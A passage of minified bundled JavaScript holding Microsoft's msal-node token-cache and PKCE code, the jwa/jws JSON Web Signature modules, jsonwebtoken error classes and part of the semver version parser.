Buffer.from(A,K).toString(lZ.BASE64)}static base64EncodeUrl(A,K){return eV.base64Encode(A,K).replace(/=/g,u6.EMPTY_STRING).replace(/\+/g,"-").replace(/\//g,"_")}static base64Decode(A){return Buffer.from(A,lZ.BASE64).toString("utf8")}static base64DecodeUrl(A){let K=A.replace(/-/g,"+").replace(/_/g,"/");while(K.length%4)K+="=";return eV.base64Decode(K)}}var qxA=k(()=>{p2();/*! @azure/msal-node v3.8.1 2025-10-29 */});import f7Y from"crypto";class SKA{sha256(A){return f7Y.createHash(Y67.SHA256).update(A).digest()}}var tH1=k(()=>{UH();/*! @azure/msal-node v3.8.1 2025-10-29 */});import N7Y from"crypto";class rX6{constructor(){this.hashUtils=new SKA}async generatePkceCodes(){let A=this.generateCodeVerifier(),K=this.generateCodeChallengeFromVerifier(A);return{verifier:A,challenge:K}}generateCodeVerifier(){let A=[],K=256-256%FH1.CV_CHARSET.length;while(A.length<=q67){let Y=N7Y.randomBytes(1)[0];if(Y>=K)continue;let z=Y%FH1.CV_CHARSET.length;A.push(FH1.CV_CHARSET[z])}let q=A.join(u6.EMPTY_STRING);return eV.base64EncodeUrl(q)}generateCodeChallengeFromVerifier(A){return eV.base64EncodeUrl(this.hashUtils.sha256(A).toString(lZ.BASE64),lZ.BASE64)}}var $87=k(()=>{p2();UH();qxA();tH1();/*! @azure/msal-node v3.8.1 2025-10-29 */});class FU{constructor(){this.pkceGenerator=new rX6,this.guidGenerator=new KxA,this.hashUtils=new SKA}base64UrlEncode(){throw Error("Method not implemented.")}encodeKid(){throw Error("Method not implemented.")}createNewGuid(){return this.guidGenerator.generateGuid()}base64Encode(A){return eV.base64Encode(A)}base64Decode(A){return eV.base64Decode(A)}generatePkceCodes(){return this.pkceGenerator.generatePkceCodes()}getPublicKeyThumbprint(){throw Error("Method not implemented.")}removeTokenBindingKey(){throw Error("Method not implemented.")}clearKeystore(){throw Error("Method not implemented.")}signJwt(){throw Error("Method not implemented.")}async hashString(A){return eV.base64EncodeUrl(this.hashUtils.sha256(A).toString(lZ.BASE64),lZ.BASE64)}}var YxA=k(()=>{p2();nX6();qxA();$87();tH1();/*! @azure/msal-node v3.8.1 2025-10-29 */});var eH1=k(()=>{zH();C06();/*! @azure/msal-common v15.13.1 2025-10-29 */});function _87(A){let K=A.credentialType===U2.REFRESH_TOKEN&&A.familyId||A.clientId,q=A.tokenType&&A.tokenType.toLowerCase()!==x9.BEARER.toLowerCase()?A.tokenType.toLowerCase():"";return[A.homeAccountId,A.environment,A.credentialType,K,A.realm||"",A.target||"",A.requestedClaimsHash||"",q].join(uX6.KEY_SEPARATOR).toLowerCase()}function G87(A){let K=A.homeAccountId.split(".")[1];return[A.homeAccountId,A.environment,K||A.tenantId||""].join(uX6.KEY_SEPARATOR).toLowerCase()}var Z87=k(()=>{p2();UH();/*! @azure/msal-node v3.8.1 2025-10-29 */});var hKA;var AJ1=k(()=>{p2();mH1();rw1();eH1();Z87();/*! @azure/msal-node v3.8.1 2025-10-29 */hKA=class hKA extends VKA{constructor(A,K,q,Y){super(K,q,A,new e_A,Y);this.cache={},this.changeEmitters=[],this.logger=A}registerChangeEmitter(A){this.changeEmitters.push(A)}emitChange(){this.changeEmitters.forEach((A)=>A.call(null))}cacheToInMemoryCache(A){let K={accounts:{},idTokens:{},accessTokens:{},refreshTokens:{},appMetadata:{}};for(let q in A){let Y=A[q];if(typeof Y!=="object")continue;if(Y instanceof J$)K.accounts[q]=Y;else if(LM.isIdTokenEntity(Y))K.idTokens[q]=Y;else if(LM.isAccessTokenEntity(Y))K.accessTokens[q]=Y;else if(LM.isRefreshTokenEntity(Y))K.refreshTokens[q]=Y;else if(LM.isAppMetadataEntity(q,Y))K.appMetadata[q]=Y;else continue}return K}inMemoryCacheToCache(A){let K=this.getCache();return K={...K,...A.accounts,...A.idTokens,...A.accessTokens,...A.refreshTokens,...A.appMetadata},K}getInMemoryCache(){return this.logger.trace("Getting in-memory cache"),this.cacheToInMemoryCache(this.getCache())}setInMemoryCache(A){this.logger.trace("Setting in-memory cache");let K=this.inMemoryCacheToCache(A);this.setCache(K),this.emitChange()}getCache(){return this.logger.trace("Getting cache key-value store"),this.cache}setCache(A){this.logger.trace("Setting cache key value store"),this.cache=A,this.emitChange()}getItem(A){return this.logger.tracePii(`Item key: ${A}`),this.getCache()[A]}setItem(A,K){this.logger.tracePii(`Item key: ${A}`);let q=this.getCache();q[A]=K,this.setCache(q)}generateCredentialKey(A){return _87(A)}generateAccountKey(A){return G87(A)}getAccountKeys(){let A=this.getInMemoryCache();return Object.keys(A.accounts)}getTokenKeys(){let A=this.getInMemoryCache();return{idToken:Object.keys(A.idTokens),accessToken:Object.keys(A.accessTokens),refreshToken:Object.keys(A.refreshTokens)}}getAccount(A){return this.getItem(A)?Object.assign(new J$,this.getItem(A)):null}async setAccount(A){let K=this.generateAccountKey(J$.getAccountInfo(A));this.setItem(K,A)}getIdTokenCredential(A){let K=this.getItem(A);if(LM.isIdTokenEntity(K))return K;return null}async setIdTokenCredential(A){let K=this.generateCredentialKey(A);this.setItem(K,A)}getAccessTokenCredential(A){let K=this.getItem(A);if(LM.isAccessTokenEntity(K))return K;return null}async setAccessTokenCredential(A){let K=this.generateCredentialKey(A);this.setItem(K,A)}getRefreshTokenCredential(A){let K=this.getItem(A);if(LM.isRefreshTokenEntity(K))return K;return null}async setRefreshTokenCredential(A){let K=this.generateCredentialKey(A);this.setItem(K,A)}getAppMetadata(A){let K=this.getItem(A);if(LM.isAppMetadataEntity(A,K))return K;return null}setAppMetadata(A){let K=LM.generateAppMetadataKey(A);this.setItem(K,A)}getServerTelemetry(A){let K=this.getItem(A);if(K&&LM.isServerTelemetryEntity(A,K))return K;return null}setServerTelemetry(A,K){this.setItem(A,K)}getAuthorityMetadata(A){let K=this.getItem(A);if(K&&LM.isAuthorityMetadataEntity(A,K))return K;return null}getAuthorityMetadataKeys(){return this.getKeys().filter((A)=>{return this.isAuthorityMetadata(A)})}setAuthorityMetadata(A,K){this.setItem(A,K)}getThrottlingCache(A){let K=this.getItem(A);if(K&&LM.isThrottlingEntity(A,K))return K;return null}setThrottlingCache(A,K){this.setItem(A,K)}removeItem(A){this.logger.tracePii(`Item key: ${A}`);let K=!1,q=this.getCache();if(q[A])delete q[A],K=!0;if(K)this.setCache(q),this.emitChange();return K}removeOutdatedAccount(A){this.removeItem(A)}containsKey(A){return this.getKeys().includes(A)}getKeys(){this.logger.trace("Retrieving all cache keys");let A=this.getCache();return[...Object.keys(A)]}clear(){this.logger.trace("Clearing cache entries created by MSAL"),this.getKeys().forEach((K)=>{this.removeItem(K)}),this.emitChange()}static generateInMemoryCache(A){return go.deserializeAllCache(go.deserializeJSONBlob(A))}static generateJsonCache(A){return p7A.serializeAllCache(A)}updateCredentialCacheKey(A,K){let q=this.generateCredentialKey(K);if(A!==q){let Y=this.getItem(A);if(Y)return this.removeItem(A),this.setItem(q,Y),this.logger.verbose(`Updated an outdated ${K.credentialType} cache key`),q;else this.logger.error(`Attempted to update an outdated ${K.credentialType} cache key but no item matching the outdated key was found in storage`)}return A}}});class wxA{constructor(A,K,q){if(this.cacheHasChanged=!1,this.storage=A,this.storage.registerChangeEmitter(this.handleChangeEvent.bind(this)),q)this.persistence=q;this.logger=K}hasChanged(){return this.cacheHasChanged}serialize(){this.logger.trace("Serializing in-memory cache");let A=p7A.serializeAllCache(this.storage.getInMemoryCache());if(this.cacheSnapshot)this.logger.trace("Reading cache snapshot from disk"),A=this.mergeState(JSON.parse(this.cacheSnapshot),A);else this.logger.trace("No cache snapshot to merge");return this.cacheHasChanged=!1,JSON.stringify(A)}deserialize(A){if(this.logger.trace("Deserializing JSON to in-memory cache"),this.cacheSnapshot=A,this.cacheSnapshot){this.logger.trace("Reading cache snapshot from disk");let K=go.deserializeAllCache(this.overlayDefaults(JSON.parse(this.cacheSnapshot)));this.storage.setInMemoryCache(K)}else this.logger.trace("No cache snapshot to deserialize")}getKVStore(){return this.storage.getCache()}getCacheSnapshot(){let A=hKA.generateInMemoryCache(this.cacheSnapshot);return this.storage.inMemoryCacheToCache(A)}async getAllAccounts(A=new FU().createNewGuid()){this.logger.trace("getAllAccounts called");let K;try{if(this.persistence)K=new MC(this,!1),await this.persistence.beforeCacheAccess(K);return this.storage.getAllAccounts({},A)}finally{if(this.persistence&&K)await this.persistence.afterCacheAccess(K)}}async getAccountByHomeId(A){let K=await this.getAllAccounts();if(A&&K&&K.length)return K.filter((q)=>q.homeAccountId===A)[0]||null;else return null}async getAccountByLocalId(A){let K=await this.getAllAccounts();if(A&&K&&K.length)return K.filter((q)=>q.localAccountId===A)[0]||null;else return null}async removeAccount(A,K){this.logger.trace("removeAccount called");let q;try{if(this.persistence)q=new MC(this,!0),await this.persistence.beforeCacheAccess(q);this.storage.removeAccount(A,K||new KxA().generateGuid())}finally{if(this.persistence&&q)await this.persistence.afterCacheAccess(q)}}async overwriteCache(){if(!this.persistence){this.logger.info("No persistence layer specified, cache cannot be overwritten");return}this.logger.info("Overwriting in-memory cache with persistent cache"),this.storage.clear();let A=new MC(this,!1);await this.persistence.beforeCacheAccess(A);let K=this.getCacheSnapshot();this.storage.setCache(K),await this.persistence.afterCacheAccess(A)}handleChangeEvent(){this.cacheHasChanged=!0}mergeState(A,K){this.logger.trace("Merging in-memory cache with cache snapshot");let q=this.mergeRemovals(A,K);return this.mergeUpdates(q,K)}mergeUpdates(A,K){return Object.keys(K).forEach((q)=>{let Y=K[q];if(!A.hasOwnProperty(q)){if(Y!==null)A[q]=Y}else{let z=Y!==null,w=typeof Y==="object",H=!Array.isArray(Y),J=typeof A[q]<"u"&&A[q]!==null;if(z&&w&&H&&J)this.mergeUpdates(A[q],Y);else A[q]=Y}}),A}mergeRemovals(A,K){this.logger.trace("Remove updated entries in cache");let q=A.Account?this.mergeRemovalsDict(A.Account,K.Account):A.Account,Y=A.AccessToken?this.mergeRemovalsDict(A.AccessToken,K.AccessToken):A.AccessToken,z=A.RefreshToken?this.mergeRemovalsDict(A.RefreshToken,K.RefreshToken):A.RefreshToken,w=A.IdToken?this.mergeRemovalsDict(A.IdToken,K.IdToken):A.IdToken,H=A.AppMetadata?this.mergeRemovalsDict(A.AppMetadata,K.AppMetadata):A.AppMetadata;return{...A,Account:q,AccessToken:Y,RefreshToken:z,IdToken:w,AppMetadata:H}}mergeRemovalsDict(A,K){let q={...A};return Object.keys(A).forEach((Y)=>{if(!K||!K.hasOwnProperty(Y))delete q[Y]}),q}overlayDefaults(A){return this.logger.trace("Overlaying input cache with the default cache"),{Account:{...zxA.Account,...A.Account},IdToken:{...zxA.IdToken,...A.IdToken},AccessToken:{...zxA.AccessToken,...A.AccessToken},RefreshToken:{...zxA.RefreshToken,...A.RefreshToken},AppMetadata:{...zxA.AppMetadata,...A.AppMetadata}}}}var zxA;var oX6=k(()=>{AJ1();p2();mH1();rw1();YxA();nX6();/*! @azure/msal-node v3.8.1 2025-10-29 */zxA={Account:{},IdToken:{},AccessToken:{},RefreshToken:{},AppMetadata:{}}});var aX6=v((Jmw,W87)=>{var KJ1=Wu().Buffer,T7Y=CA("stream"),v7Y=CA("util");function qJ1(A){if(this.buffer=null,this.writable=!0,this.readable=!0,!A)return this.buffer=KJ1.alloc(0),this;if(typeof A.pipe==="function")return this.buffer=KJ1.alloc(0),A.pipe(this),this;if(A.length||typeof A==="object")return this.buffer=A,this.writable=!1,process.nextTick(function(){this.emit("end",A),this.readable=!1,this.emit("close")}.bind(this)),this;throw TypeError("Unexpected data type ("+typeof A+")")}v7Y.inherits(qJ1,T7Y);qJ1.prototype.write=function(K){this.buffer=KJ1.concat([this.buffer,KJ1.from(K)]),this.emit("data",K)};qJ1.prototype.end=function(K){if(K)this.write(K);this.emit("end",K),this.emit("close"),this.writable=!1,this.readable=!1};W87.exports=qJ1});var A$6=v((Omw,v87)=>{var _GA=Wu().Buffer,VC=CA("crypto"),j87=Kw1(),D87=CA("util"),E7Y=`"%s" is not a valid algorithm. Supported algorithms are: "HS256", "HS384", "HS512", "RS256", "RS384", "RS512", "PS256", "PS384", "PS512", "ES256", "ES384", "ES512" and "none".`,HxA="secret must be a string or buffer",$GA="key must be a string or a buffer",k7Y="key must be a string, a buffer or an object",tX6=typeof VC.createPublicKey==="function";if(tX6)$GA+=" or a KeyObject",HxA+="or a KeyObject";function M87(A){if(_GA.isBuffer(A))return;if(typeof A==="string")return;if(!tX6)throw XI($GA);if(typeof A!=="object")throw XI($GA);if(typeof A.type!=="string")throw XI($GA);if(typeof A.asymmetricKeyType!=="string")throw XI($GA);if(typeof A.export!=="function")throw XI($GA)}function P87(A){if(_GA.isBuffer(A))return;if(typeof A==="string")return;if(typeof A==="object")return;throw XI(k7Y)}function C7Y(A){if(_GA.isBuffer(A))return;if(typeof A==="string")return A;if(!tX6)throw XI(HxA);if(typeof A!=="object")throw XI(HxA);if(A.type!=="secret")throw XI(HxA);if(typeof A.export!=="function")throw XI(HxA)}function eX6(A){return A.replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_")}function V87(A){A=A.toString();var K=4-A.length%4;if(K!==4)for(var q=0;q<K;++q)A+="=";return A.replace(/\-/g,"+").replace(/_/g,"/")}function XI(A){var K=[].slice.call(arguments,1),q=D87.format.bind(D87,A).apply(null,K);return TypeError(q)}function L7Y(A){return _GA.isBuffer(A)||typeof A==="string"}function JxA(A){if(!L7Y(A))A=JSON.stringify(A);return A}function f87(A){return function(q,Y){C7Y(Y),q=JxA(q);var z=VC.createHmac("sha"+A,Y),w=(z.update(q),z.digest("base64"));return eX6(w)}}var sX6,R7Y="timingSafeEqual"in VC?function(K,q){if(K.byteLength!==q.byteLength)return!1;return VC.timingSafeEqual(K,q)}:function(K,q){if(!sX6)sX6=iH6();return sX6(K,q)};function y7Y(A){return function(q,Y,z){var w=f87(A)(q,z);return R7Y(_GA.from(Y),_GA.from(w))}}function N87(A){return function(q,Y){P87(Y),q=JxA(q);var z=VC.createSign("RSA-SHA"+A),w=(z.update(q),z.sign(Y,"base64"));return eX6(w)}}function T87(A){return function(q,Y,z){M87(z),q=JxA(q),Y=V87(Y);var w=VC.createVerify("RSA-SHA"+A);return w.update(q),w.verify(z,Y,"base64")}}function I7Y(A){return function(q,Y){P87(Y),q=JxA(q);var z=VC.createSign("RSA-SHA"+A),w=(z.update(q),z.sign({key:Y,padding:VC.constants.RSA_PKCS1_PSS_PADDING,saltLength:VC.constants.RSA_PSS_SALTLEN_DIGEST},"base64"));return eX6(w)}}function S7Y(A){return function(q,Y,z){M87(z),q=JxA(q),Y=V87(Y);var w=VC.createVerify("RSA-SHA"+A);return w.update(q),w.verify({key:z,padding:VC.constants.RSA_PKCS1_PSS_PADDING,saltLength:VC.constants.RSA_PSS_SALTLEN_DIGEST},Y,"base64")}}function h7Y(A){var K=N87(A);return function(){var Y=K.apply(null,arguments);return Y=j87.derToJose(Y,"ES"+A),Y}}function b7Y(A){var K=T87(A);return function(Y,z,w){z=j87.joseToDer(z,"ES"+A).toString("base64");var H=K(Y,z,w);return H}}function x7Y(){return function(){return""}}function u7Y(){return function(K,q){return q===""}}v87.exports=function(K){var q={hs:f87,rs:N87,ps:I7Y,es:h7Y,none:x7Y},Y={hs:y7Y,rs:T87,ps:S7Y,es:b7Y,none:u7Y},z=K.match(/^(RS|PS|ES|HS)(256|384|512)$|^(none)$/i);if(!z)throw XI(E7Y,K);var w=(z[1]||z[3]).toLowerCase(),H=z[2];return{sign:q[w](H),verify:Y[w](H)}}});var K$6=v((Xmw,E87)=>{var B7Y=CA("buffer").Buffer;E87.exports=function(K){if(typeof K==="string")return K;if(typeof K==="number"||B7Y.isBuffer(K))return K.toString();return JSON.stringify(K)}});var I87=v(($mw,y87)=>{var m7Y=Wu().Buffer,k87=aX6(),g7Y=A$6(),F7Y=CA("stream"),C87=K$6(),q$6=CA("util");function L87(A,K){return m7Y.from(A,K).toString("base64").replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_")}function Q7Y(A,K,q){q=q||"utf8";var Y=L87(C87(A),"binary"),z=L87(C87(K),q);return q$6.format("%s.%s",Y,z)}function R87(A){var{header:K,payload:q}=A,Y=A.secret||A.privateKey,z=A.encoding,w=g7Y(K.alg),H=Q7Y(K,q,z),J=w.sign(H,Y);return q$6.format("%s.%s",H,J)}function YJ1(A){var K=A.secret||A.privateKey||A.key,q=new k87(K);this.readable=!0,this.header=A.header,this.encoding=A.encoding,this.secret=this.privateKey=this.key=q,this.payload=new k87(A.payload),this.secret.once("close",function(){if(!this.payload.writable&&this.readable)this.sign()}.bind(this)),this.payload.once("close",function(){if(!this.secret.writable&&this.readable)this.sign()}.bind(this))}q$6.inherits(YJ1,F7Y);YJ1.prototype.sign=function(){try{var K=R87({header:this.header,payload:this.payload.buffer,secret:this.secret.buffer,encoding:this.encoding});return this.emit("done",K),this.emit("data",K),this.emit("end"),this.readable=!1,K}catch(q){this.readable=!1,this.emit("error",q),this.emit("close")}};YJ1.sign=R87;y87.exports=YJ1});var Q87=v((_mw,F87)=>{var h87=Wu().Buffer,S87=aX6(),U7Y=A$6(),p7Y=CA("stream"),b87=K$6(),d7Y=CA("util"),c7Y=/^[a-zA-Z0-9\-_]+?\.[a-zA-Z0-9\-_]+?\.([a-zA-Z0-9\-_]+)?$/;function l7Y(A){return Object.prototype.toString.call(A)==="[object Object]"}function i7Y(A){if(l7Y(A))return A;try{return JSON.parse(A)}catch(K){return}}function x87(A){var K=A.split(".",1)[0];return i7Y(h87.from(K,"base64").toString("binary"))}function n7Y(A){return A.split(".",2).join(".")}function u87(A){return A.split(".")[2]}function r7Y(A,K){K=K||"utf8";var q=A.split(".")[1];return h87.from(q,"base64").toString(K)}function B87(A){return c7Y.test(A)&&!!x87(A)}function m87(A,K,q){if(!K){var Y=Error("Missing algorithm parameter for jws.verify");throw Y.code="MISSING_ALGORITHM",Y}A=b87(A);var z=u87(A),w=n7Y(A),H=U7Y(K);return H.verify(w,z,q)}function g87(A,K){if(K=K||{},A=b87(A),!B87(A))return null;var q=x87(A);if(!q)return null;var Y=r7Y(A);if(q.typ==="JWT"||K.json)Y=JSON.parse(Y,K.encoding);return{header:q,payload:Y,signature:u87(A)}}function GGA(A){A=A||{};var K=A.secret||A.publicKey||A.key,q=new S87(K);this.readable=!0,this.algorithm=A.algorithm,this.encoding=A.encoding,this.secret=this.publicKey=this.key=q,this.signature=new S87(A.signature),this.secret.once("close",function(){if(!this.signature.writable&&this.readable)this.verify()}.bind(this)),this.signature.once("close",function(){if(!this.secret.writable&&this.readable)this.verify()}.bind(this))}d7Y.inherits(GGA,p7Y);GGA.prototype.verify=function(){try{var K=m87(this.signature.buffer,this.algorithm,this.key.buffer),q=g87(this.signature.buffer,this.encoding);return this.emit("done",K,q),this.emit("data",K),this.emit("end"),this.readable=!1,K}catch(Y){this.readable=!1,this.emit("error",Y),this.emit("close")}};GGA.decode=g87;GGA.isValid=B87;GGA.verify=m87;F87.exports=GGA});var wJ1=v((a7Y)=>{var U87=I87(),zJ1=Q87(),o7Y=["HS256","HS384","HS512","RS256","RS384","RS512","PS256","PS384","PS512","ES256","ES384","ES512"];a7Y.ALGORITHMS=o7Y;a7Y.sign=U87.sign;a7Y.verify=zJ1.verify;a7Y.decode=zJ1.decode;a7Y.isValid=zJ1.isValid;a7Y.createSign=function(K){return new U87(K)};a7Y.createVerify=function(K){return new zJ1(K)}});var Y$6=v((Zmw,p87)=>{var zKY=wJ1();p87.exports=function(A,K){K=K||{};var q=zKY.decode(A,K);if(!q)return null;var Y=q.payload;if(typeof Y==="string")try{var z=JSON.parse(Y);if(z!==null&&typeof z==="object")Y=z}catch(w){}if(K.complete===!0)return{header:q.header,payload:Y,signature:q.signature};return Y}});var OxA=v((Wmw,d87)=>{var HJ1=function(A,K){if(Error.call(this,A),Error.captureStackTrace)Error.captureStackTrace(this,this.constructor);if(this.name="JsonWebTokenError",this.message=A,K)this.inner=K};HJ1.prototype=Object.create(Error.prototype);HJ1.prototype.constructor=HJ1;d87.exports=HJ1});var z$6=v((Dmw,l87)=>{var c87=OxA(),JJ1=function(A,K){c87.call(this,A),this.name="NotBeforeError",this.date=K};JJ1.prototype=Object.create(c87.prototype);JJ1.prototype.constructor=JJ1;l87.exports=JJ1});var w$6=v((jmw,n87)=>{var i87=OxA(),OJ1=function(A,K){i87.call(this,A),this.name="TokenExpiredError",this.expiredAt=K};OJ1.prototype=Object.create(i87.prototype);OJ1.prototype.constructor=OJ1;n87.exports=OJ1});var H$6=v((Mmw,r87)=>{var wKY=PI1();r87.exports=function(A,K){var q=K||Math.floor(Date.now()/1000);if(typeof A==="string"){var Y=wKY(A);if(typeof Y>"u")return;return Math.floor(q+Y/1000)}else if(typeof A==="number")return q+A;else return}});var XxA=v((Pmw,o87)=>{var HKY=Number.MAX_SAFE_INTEGER||9007199254740991,JKY=["major","premajor","minor","preminor","patch","prepatch","prerelease"];o87.exports={MAX_LENGTH:256,MAX_SAFE_COMPONENT_LENGTH:16,MAX_SAFE_BUILD_LENGTH:250,MAX_SAFE_INTEGER:HKY,RELEASE_TYPES:JKY,SEMVER_SPEC_VERSION:"2.0.0",FLAG_INCLUDE_PRERELEASE:1,FLAG_LOOSE:2}});var $xA=v((Vmw,a87)=>{var OKY=typeof process==="object"&&process.env&&process.env.NODE_DEBUG&&/\bsemver\b/i.test(process.env.NODE_DEBUG)?(...A)=>console.error("SEMVER",...A):()=>{};a87.exports=OKY});var ZGA=v((Lu,s87)=>{var{MAX_SAFE_COMPONENT_LENGTH:J$6,MAX_SAFE_BUILD_LENGTH:XKY,MAX_LENGTH:$KY}=XxA(),_KY=$xA();Lu=s87.exports={};var GKY=Lu.re=[],ZKY=Lu.safeRe=[],y7=Lu.src=[],WKY=Lu.safeSrc=[],I7=Lu.t={},DKY=0,O$6="[a-zA-Z0-9-]",jKY=[["\\s",1],["\\d",$KY],[O$6,XKY]],MKY=(A)=>{for(let[K,q]of jKY)A=A.split(`${K}*`).join(`${K}{0,${q}}`).split(`${K}+`).join(`${K}{1,${q}}`);return A},d5=(A,K,q)=>{let Y=MKY(K),z=DKY++;_KY(A,z,K),I7[A]=z,y7[z]=K,WKY[z]=Y,GKY[z]=new RegExp(K,q?"g":void 0),ZKY[z]=new RegExp(Y,q?"g":void 0)};d5("NUMERICIDENTIFIER","0|[1-9]\\d*");d5("NUMERICIDENTIFIERLOOSE","\\d+");d5("NONNUMERICIDENTIFIER",`\\d*[a-zA-Z-]${O$6}*`);d5("MAINVERSION",`(${y7[I7.NUMERICIDENTIFIER]})\\.(${y7[I7.NUMERICIDENTIFIER]})\\.(${y7[I7.NUMERICIDENTIFIER]})`);d5("MAINVERSIONLOOSE",`(${y7[I7.NUMERICIDENTIFIERLOOSE]})\\.(${y7[I7.NUMERICIDENTIFIERLOOSE]})\\.(${y7[I7.NUMERICIDENTIFIERLOOSE]})`);d5("PRERELEASEIDENTIFIER",`(?:${y7[I7.NUMERICIDENTIFIER]}|${y7[I7.NONNUMERICIDENTIFIER]})`);d5("PRERELEASEIDENTIFIERLOOSE",`(?:${y7[I7.NUMERICIDENTIFIERLOOSE]}|${y7[I7.NONNUMERICIDENTIFIER]})`);d5("PRERELEASE",`(?:-(${y7[I7.PRERELEASEIDENTIFIER]}(?:\\.${y7[I7.PRERELEASEIDENTIFIER]})*))`);d5("PRERELEASELOOSE",`(?:-?(${y7[I7.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${y7[I7.PRERELEASEIDENTIFIERLOOSE]})*))`);d5("BUILDIDENTIFIER",`${O$6}+`);d5("BUILD",`(?:\\+(${y7[I7.BUILDIDENTIFIER]}(?:\\.${y7[I7.BUILDIDENTIFIER]})*))`);d5("FULLPLAIN",`v?${y7[I7.MAINVERSION]}${y7[I7.PRERELEASE]}?${y7[I7.BUILD]}?`);d5("FULL",`^${y7[I7.FULLPLAIN]}$`);d5("LOOSEPLAIN",`[v=\\s]*${y7[I7.MAINVERSIONLOOSE]}${y7[I7.PRERELEASELOOSE]}?${y7[I7.BUILD]}?`);d5("LOOSE",`^${y7[I7.LOOSEPLAIN]}$`);d5("GTLT","((?:<|>)?=?)");d5("XRANGEIDENTIFIERLOOSE",`${y7[I7.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`);d5("XRANGEIDENTIFIER",`${y7[I7.NUMERICIDENTIFIER]}|x|X|\\*`);d5("XRANGEPLAIN",`[v=\\s]*(${y7[I7.XRANGEIDENTIFIER]})(?:\\.(${y7[I7.XRANGEIDENTIFIER]})(?:\\.(${y7[I7.XRANGEIDENTIFIER]})(?:${y7[I7.PRERELEASE]})?${y7[I7.BUILD]}?)?)?`);d5("XRANGEPLAINLOOSE",`[v=\\s]*(${y7[I7.XRANGEIDENTIFIERLOOSE]})(?:\\.(${y7[I7.XRANGEIDENTIFIERLOOSE]})(?:\\.(${y7[I7.XRANGEIDENTIFIERLOOSE]})(?:${y7[I7.PRERELEASELOOSE]})?${y7[I7.BUILD]}?)?)?`);d5("XRANGE",`^${y7[I7.GTLT]}\\s*${y7[I7.XRANGEPLAIN]}$`);d5("XRANGELOOSE",`^${y7[I7.GTLT]}\\s*${y7[I7.XRANGEPLAINLOOSE]}$`);d5("COERCEPLAIN",`(^|[^\\d])(\\d{1,${J$6}})(?:\\.(\\d{1,${J$6}}))?(?:\\.(\\d{1,${J$6}}))?`);d5("COERCE",`${y7[I7.COERCEPLAIN]}(?:$|[^\\d])`);d5("COERCEFULL",y7[I7.COERCEPLAIN]+`(?:${y7[I7.PRERELEASE]})?(?:${y7[I7.BUILD]})?(?:$|[^\\d])`);d5("COERCERTL",y7[I7.COERCE],!0);d5("COERCERTLFULL",y7[I7.COERCEFULL],!0);d5("LONETILDE","(?:~>?)");d5("TILDETRIM",`(\\s*)${y7[I7.LONETILDE]}\\s+`,!0);Lu.tildeTrimReplace="$1~";d5("TILDE",`^${y7[I7.LONETILDE]}${y7[I7.XRANGEPLAIN]}$`);d5("TILDELOOSE",`^${y7[I7.LONETILDE]}${y7[I7.XRANGEPLAINLOOSE]}$`);d5("LONECARET","(?:\\^)");d5("CARETTRIM",`(\\s*)${y7[I7.LONECARET]}\\s+`,!0);Lu.caretTrimReplace="$1^";d5("CARET",`^${y7[I7.LONECARET]}${y7[I7.XRANGEPLAIN]}$`);d5("CARETLOOSE",`^${y7[I7.LONECARET]}${y7[I7.XRANGEPLAINLOOSE]}$`);d5("COMPARATORLOOSE",`^${y7[I7.GTLT]}\\s*(${y7[I7.LOOSEPLAIN]})$|^$`);d5("COMPARATOR",`^${y7[I7.GTLT]}\\s*(${y7[I7.FULLPLAIN]})$|^$`);d5("COMPARATORTRIM",`(\\s*)${y7[I7.GTLT]}\\s*(${y7[I7.LOOSEPLAIN]}|${y7[I7.XRANGEPLAIN]})`,!0);Lu.comparatorTrimReplace="$1$2$3";d5("HYPHENRANGE",`^\\s*(${y7[I7.XRANGEPLAIN]})\\s+-\\s+(${y7[I7.XRANGEPLAIN]})\\s*$`);d5("HYPHENRANGELOOSE",`^\\s*(${y7[I7.XRANGEPLAINLOOSE]})\\s+-\\s+(${y7[I7.XRANGEPLAINLOOSE]})\\s*$`);d5("STAR","(<|>)?=?\\s*\\*");d5("GTE0","^\\s*>=\\s*0\\.0\\.0\\s*$");d5("GTE0PRE","^\\s*>=\\s*0\\.0\\.0-0\\s*$")});var XJ1=v((fmw,t87)=>{var PKY=Object.freeze({loose:!0}),VKY=Object.freeze({}),fKY=(A)=>{if(!A)return VKY;if(typeof A!=="object")return PKY;return A};t87.exports=fKY});var X$6=v((Nmw,K47)=>{var e87=/^[0-9]+$/,A47=(A,K)=>{let q=e87.test(A),Y=e87.test(K);if(q&&Y)A=+A,K=+K;return A===K?0:q&&!Y?-1:Y&&!q?1:A<K?-1:1},NKY=(A,K)=>A47(K,A);K47.exports={compareIdentifiers:A47,rcompareIdentifiers:NKY}});var QD=v((Tmw,w47)=>{var $J1=$xA(),{MAX_LENGTH:q47,MAX_SAFE_INTEGER:_J1}=XxA(),{safeRe:Y47,safeSrc:z47,t:GJ1}=ZGA(),TKY=XJ1(),{compareIdentifiers:WGA}=X$6();class $I{constructor(A,K){if(K=TKY(K),A instanceof $I)if(A.loose===!!K.loose&&A.includePrerelease===!!K.includePrerelease)return A;else A=A.version;else if(typeof A!=="string")throw TypeError(`Invalid version. Must be a string. Got type "${typeof A}".`);if(A.length>q47)throw TypeError(`version is longer than ${q47} characters`);$J1("SemVer",A,K),this.options=K,this.loose=!!K.loose,this.includePrerelease=!!K.includePrerelease;let q=A.trim().match(K.loose?Y47[GJ1.LOOSE]:Y47[GJ1.FULL]);if(!q)throw TypeError(`Invalid Version: ${A}`);if(this.raw=A,this.major=+q[1],this.minor=+q[2],this.patch=+q[3],this.major>_J1||this.major<0)throw TypeError("Invalid major version");if(this.minor>_J1||this.minor<0)throw TypeError("Invalid minor version");if(this.patch>_J1||this.patch<0)throw TypeError("Invalid patch version");if(!q[4])this.prerelease=[];else this.prerelease=q[4].split(".").map((Y)=>{if(/^[0-9]+$/.test(Y)){let z=+Y;if(z>=0&&z<_J1)return z}return Y});this.build=q[5]?q[5].split("."):[],this.format()}format(){if(this.version=`${this.major}.${this.minor}.${this.patch}`,this.prerelease.length)this.version+=`-${this.prerelease.join(".")}`;return this.version}toString(){return this.version}compare(A){if($J1("SemVer.compare",this.version,this.options,A),!(A instanceof $I)){if(typeof A==="string"&&A===this.version)return 0;A=new $I(A,this.options)}if(A.version===this.version)return 0;return this.compareMain(A)||this.comparePre(A)}compareMain(A){if(!(A instanceof $I))A=new $I(A,this.options);return WGA(this.major,A.major)||WGA(this.minor,A.minor)||WGA(this.patch,A.patch)}comparePre(A){if(!(A instanceof $I))A=new 